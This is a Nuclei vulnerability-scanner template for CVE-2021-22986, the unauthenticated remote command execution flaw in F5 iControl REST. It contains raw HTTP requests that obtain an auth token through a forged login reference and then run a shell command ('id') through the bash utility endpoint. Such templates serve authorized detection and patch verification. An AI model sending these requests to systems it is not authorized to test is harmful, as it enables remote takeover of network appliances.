nuclei-templates/http/cves/2021/CVE-2021-22986.yaml

74 lines
2.8 KiB
YAML

id: CVE-2021-22986
info:
name: F5 iControl REST - Remote Command Execution
author: rootxharsh,iamnoooob
severity: critical
description: F5 iControl REST interface is susceptible to remote command execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. This affects BIG-IP 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3; and BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the target system.
remediation: |
Apply the necessary security patches or updates provided by F5 Networks to mitigate the vulnerability.
reference:
- https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986
- https://support.f5.com/csp/article/K03009991
- http://packetstormsecurity.com/files/162059/F5-iControl-Server-Side-Request-Forgery-Remote-Command-Execution.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-22986
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-22986
cwe-id: CWE-918
epss-score: 0.97421
epss-percentile: 0.99924
cpe: cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: f5
product: big-ip_access_policy_manager
tags: cve,cve2021,bigip,rce,kev,packetstorm,f5
http:
- raw:
- |
POST /mgmt/shared/authn/login HTTP/1.1
Host: {{Hostname}}
Accept-Language: en
Authorization: Basic YWRtaW46
Content-Type: application/json
Cookie: BIGIPAuthCookie=1234
Connection: close
{"username":"admin","userReference":{},"loginReference":{"link":"http://localhost/mgmt/shared/gossip"}}
- |
POST /mgmt/tm/util/bash HTTP/1.1
Host: {{Hostname}}
Accept-Language: en
X-F5-Auth-Token: {{token}}
Content-Type: application/json
Connection: close
{"command":"run","utilCmdArgs":"-c id"}
matchers:
- type: word
words:
- "commandResult"
- "uid="
condition: and
extractors:
- type: regex
name: token
group: 1
regex:
- "([A-Z0-9]{26})"
internal: true
part: body
- type: regex
group: 1
regex:
- "\"commandResult\":\"(.*)\""
part: body
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